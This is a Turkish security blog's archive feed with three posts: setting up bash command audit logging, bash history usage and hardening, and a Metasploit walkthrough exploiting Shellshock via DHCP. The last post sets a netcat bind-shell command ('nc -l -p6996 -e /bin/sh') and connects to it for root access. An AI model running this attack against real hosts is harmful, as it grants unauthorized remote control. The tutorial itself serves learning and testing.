bash arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Thu, 19 Apr 2018 19:50:27 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png bash arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | Linux Bash Aktivitelerinin Loglanması https://canyoupwn.me/tr-linux-bash-aktivite-loglanmasi/ https://canyoupwn.me/tr-linux-bash-aktivite-loglanmasi/#respond Thu, 01 Sep 2016 14:11:10 +0000 https://canyoupwn.me/?p=4155 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Linux sunucumuzda birden fazla kullanıcı erişim yetkisine sahip ise bütün kullanıcıların aktivite kaydını tutmak isteyebiliriz. Evet  .bash_history altında kayıt ediliyor fakat yeteri kadar güvenli değil. Anında kayıt olmuyor ve sistem çöktüğünde ya da istenmeyen şekilde bash oturumu sona erese kayıtlara ulaşamayabiliriz. Bash aktivite loglarını olası bir istenmeyen durum karşısında incelemek için log sunucumuza göndermemiz daha […]

TR | Linux Bash Aktivitelerinin Loglanması Gökay Atar

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Linux sunucumuzda birden fazla kullanıcı erişim yetkisine sahip ise bütün kullanıcıların aktivite kaydını tutmak isteyebiliriz.

Evet  .bash_history altında kayıt ediliyor fakat yeteri kadar güvenli değil. Anında kayıt olmuyor ve sistem çöktüğünde ya da istenmeyen şekilde bash oturumu sona erese kayıtlara ulaşamayabiliriz.

Bash aktivite loglarını olası bir istenmeyen durum karşısında incelemek için log sunucumuza göndermemiz daha sağlıklı olacaktır ve önce kaydımızı alıp sonra yazdığımız komutun işletilmesini sağlayacağız.

 

Herhangi bir metin düzenleme editorü  ile /etc/bash.bashrc  açalım. Ben direk düzenleme modu ile açıyorum.

sudo -e /etc/bash.bashrc

Daha sonra aşağıdaki satırı ekleyelim.

export PROMPT_COMMAND='RETRN_VAL=$?;logger -p local6.debug "$(whoami) [$$]: $(history 1 | sed "s/^[ ]*[0-9]\+[ ]*//" ) [$RETRN_VAL]"'

Ve kayıt edip çıkalım.

Screenshot from 2016-09-01 15-02-26

 

Şİmdi log dosyasını kayıt yolunu ve dosya adını ayarlayalım. /etc/syslog.conf   herhangi bir metin editörü ile açalım.

sudo -e /etc/syslog.conf

Ve aşağıdaki satırı ekleyelim

 local6.*                /var/log/bashaktivite.log

 

Screenshot from 2016-09-01 15-37-09

Ve kayıt edelim çıkalım.

Log dosyamızın kullanıcıların müdahale etmesini engellemek için izinleri değiştirmeyi unutmayalım

sudo chattr +a /var/log/bashaktivite.log

Son olarak log servisimizi yeniden başlatalım.

systemctl restart rsyslog.service

Her şey tamam şimdi /var/log/bashaktivite.log log dosyamızı açarak kayıtları görebiliriz.

cat /var/log/bashaktivite.log

Screenshot from 2016-09-01 15-49-54

 

 

Komutu tanıyalım

logger -p local6.debug "CMDAUDIT EVENT! $(whoami):[$(id -u)]:[$$]: $(history 1 | sed "s/^[ ]*[0-9]\+[ ]*//" ) [$RETRN_VAL]"

“PROMPT_COMMAND”   Adında ortam değikenimiz var. Bu değişken bash çıktısı vermeden önce işlemin yürütülmesini sağlıyor

RETRN_VAL=$?  Kodumuzu değişkene atıyoruz

$(whoami) işlemi yapan kullancı adı

[$$]  Mevcut shell PID. Eğer aynı kullanıcıya ait başka oturumlar varsa bunları ayırt edebiliriz.

$(history 1 | sed “s/^[ ]*[0-9]\+[ ]*//” )  Son çalıştırdığımız komutu sed ile index ve boşlukları silerek gösterir.

[$RETRN_VAL] Dönüş değerimiz.

Log dosyasını daha detaylı hale getirmek için loglanmasını istediğiniz değişkeni ekleyebilirsiniz.

 

Son olarak unutmadan sunucumuz kendi halinde değilse sürekli işlem yapıyorsak log dosyamız baya şişecektir bunun önüne geçmek için log rotate yapmamız gerek.

sudo -e /etc/logrotate.d/rsyslog

Açalım ve log dosyamızı buraya ekleyelim

Screenshot from 2016-09-01 16-28-03


TR | Linux Bash Aktivitelerinin Loglanması Gökay Atar

]]>
https://canyoupwn.me/tr-linux-bash-aktivite-loglanmasi/feed/ 0
TR | Linux Bash History Formatı https://canyoupwn.me/tr-linux-bash-history-formati/ https://canyoupwn.me/tr-linux-bash-history-formati/#respond Thu, 01 Sep 2016 06:00:24 +0000 https://canyoupwn.me/?p=4119 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bash Nedir ? Bash GNU işletim sistemi için bir kabuk ya da başka bir deyişle komut dili yorumlayıcısıdır. Bourne-Again SHell sözcüklerinde türetilmiş bir kısaltmadır. Unix altında, bash kabuğu diğer benzerlerine nazaran daha fazla özelliğe ve işleve sahiptir. Linux işletim sistemi için de derlenen bash ise hem tcsh, hem de ksh‘dan özellikler taşır. Linux terminali içinde […]

TR | Linux Bash History Formatı Mert Gücü

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bash Nedir ?

Bash GNU işletim sistemi için bir kabuk ya da başka bir deyişle komut dili yorumlayıcısıdır. Bourne-Again SHell sözcüklerinde türetilmiş bir kısaltmadır. Unix altında, bash kabuğu diğer benzerlerine nazaran daha fazla özelliğe ve işleve sahiptir. Linux işletim sistemi için de derlenen bash ise hem tcsh, hem de ksh‘dan özellikler taşır.

echo_shell

Linux terminali içinde echo $SHELL yazdığımız taktirde, işletim sistemi altında default olarak çalışan shell’i(kabuğu) görebiliriz.

/bin/bash  Bu şekilde bir çıktı veriyor. Bin klasörü altında bash çalıştığını anlayabiliriz.

Bash ve bash shell scripting hakkında ayrıca araştırma yapılması faydalı olacaktır. Bu yazıda asıl konumuz olan Bash History ve bunun sıkılaştırması ve gerekli sıkılaştırma işlemleri yapılmadığı taktirde saldırganın bunu ne amaçlarla kullanabileceğini üzerinde duracağız.

Bash History

Bash history /home/user ( ~ ) dizini altında bulunan ve gizli klasör olan .bash_history dosyasının içerisine kaydolmaktadır.

ls-la

cat .bash_history  komutu ile geçmişte yazılmış olan bash komutlarını okumak mümkün iken, bash ekranında direk olarak history  komutuda kaydedilmiş komutları vermektedir.

echo $HISTSIZE  komutu ile ekrana kaç adet geçmiş komut bastırabildiğimizi görebilir ve istersek bunu değiştirebiliriz.

BASH HISTORY KOMUTLARI

  • echo $BASH : Kullanılan kabuk ve dosya yolu.
  • echo $HISTSIZE : .bash_history dosyasının kaç kayıt tuttuğunun çıktısını verir.
  • history | tail : Son 10 komutu listeler.
  • history | more : Birden başlayarak listeler.
  • history n  : “n” değeri yerine yazılan sayı kadar sondan başlayarak komut listeler.
  • CTRL + R : İstediğimiz komutu aramak için arama ekranı açar.
  • history | grep value : “value” değeri yerine girdiğiniz değeri history içerisinde arayıp, değerin gectiği bütün geçmiş komutları getirir.
  • !10 : 10. komutu çalıştırır.
  • !! : Son çalıştırılan komutu tekrar çalıştırır.
  • history -c : Historyi temizler. Burada önemli bir ayrıntı vardır. history -c  komutu shell ekranında history  yazdığınızda gelen çıktıları temizler. Dolayısıyla geçmiş komutlar .bash_history  dosyası altında tutulmaya devam eder.

 

BASH HİSTORYSIZE DEĞİŞTİRİLMESİ

echo $HISTSIZE  komutu ile bash listesinde tutulan toplam komut sayısını öğrenildiğinden bahsetmiştik. Bu komut home/user (~)  dizini altında bulunan .bashrc  dosyası altında bulunmaktadır. Dolayısıyla bu dosyaya girerek değişiklik yapmamız mümkündür.

BASH HISTORYNİN YARARLARI VE ZARARLARI

Bir tehdit açısından ele aldığımızda bash historysinin bazı yararları ve zararları bulunmaktadır.

Avantajları ve Sıkılaştırması

Olası saldırı durumlarında, öncesinde ve sonrasında saldırganın sisteminizdeki izini sürmenize yardımcı olur. Hangi dizinleri erişim sağlanmış, veri kaybı olmuş mu, hangi izinler değiştirilmiş gibi bir çok etkenden haberdar olmuş oluyorsunuz. Özellikle (“Bu komutları ben girmedim”) dediğiniz komutlar mevcut ise sisteminizde bir ziyaretçi bulunuyor olabilir.

Tabi bu yararlardan verimli faydalanabilmek için bazı önlemler alınması gerekmektedir.

ls,la,profile

chattr +a /home/user/.bash_history 
chattr +a /home/user/.bash_profile 
chattr +a /home/user/.bash_login 
chattr +a /home/user/.profile 
chattr +a /home/user/.bash_logout 
chattr +a /home/user/.bashrc

chatter +a  komutu ile sadece ekleme yapılabilir özelliğini veriyoruz. Böylelikle root kullanıcısı dışında her hangi bir silme düzenleme işlemi yapılamaz hale gelecektir.

Dezavantajları

Bash History bütün komutları sakladığı için plain-text şifreler, önemli gizli dosyalar gibi bir çok dosyada listelenecektir.


TR | Linux Bash History Formatı Mert Gücü

]]>
https://canyoupwn.me/tr-linux-bash-history-formati/feed/ 0
TR | Metasploit Framework Yardımı ile Shellshock Zafiyetinden Yararlanma https://canyoupwn.me/tr-how-to-hack-the-shellshock-vulnerability/ https://canyoupwn.me/tr-how-to-hack-the-shellshock-vulnerability/#respond Thu, 04 Feb 2016 00:20:31 +0000 http://canyoupwn.me/?p=249 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Shellshock Nedir? Linux sistemlerde bash kabuğunda fark edilen güvenlik açığıdır. Nasıl Kullanılır? Metasploit Framework ü çalıştıyoruz; msfconsole Exploit i arıyoruz; search shellshock Exploit i yüklüyoruz. use auxiliary/server/dhclient/dhclient_bash_env Exploit için gerekli paremetlereler “CMD” , “SRVHOST” VE “NETMASK”. Bunları eğer görüntülemek istersek; info Seçenekleri görüntüleyip parametreleri düzenleme aşamasına geçersek; show options DHPC sunucu ip adresini değişmek için; […]

TR | Metasploit Framework Yardımı ile Shellshock Zafiyetinden Yararlanma Mustafa Kaan Demirhan

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Shellshock Nedir?

Linux sistemlerde bash kabuğunda fark edilen güvenlik açığıdır.

Nasıl Kullanılır?

  • Metasploit Framework ü çalıştıyoruz;
msfconsole
  • Exploit i arıyoruz;
search shellshock
  • Exploit i yüklüyoruz.
use auxiliary/server/dhclient/dhclient_bash_env
  • Exploit için gerekli paremetlereler “CMD” , “SRVHOST” VE “NETMASK”. Bunları eğer görüntülemek istersek;
info
  • Seçenekleri görüntüleyip parametreleri düzenleme aşamasına geçersek;
show options
  • DHPC sunucu ip adresini değişmek için;
set SVRHOST 192.168.131.61
  • CMD parametresini düzenlemek için;
set CMD /bin/nc -l -p6996 -e /bin/sh
  • Son parametremiz NETMASK için;
set NETMASK 255.255.255.0
  • Exploiti çalıştrmak için;
exploit
  • Çalıştırdıktan sonra durumu özet geçmek gerekirse hedefin CMD satırında Shellshock zafiyeti sayesinde root yetkisiyle “6996” nolu portla netcat yardımıyla bağlantı kurabiliriz. Exploitli sisteme bağlanmak için;
c::\nc 192.168.131.61 6996
  • Exploited Linux sistemin ayarlarına döndürmek için;
ifconfig

yapmamız yeterlidir.

  • Sistemdeki yetkimizi check etmek için;
whoami

yapıp root olup olmadığımızı doğrulayabiliriz.

TR | Metasploit Framework Yardımı ile Shellshock Zafiyetinden Yararlanma Mustafa Kaan Demirhan

]]>
https://canyoupwn.me/tr-how-to-hack-the-shellshock-vulnerability/feed/ 0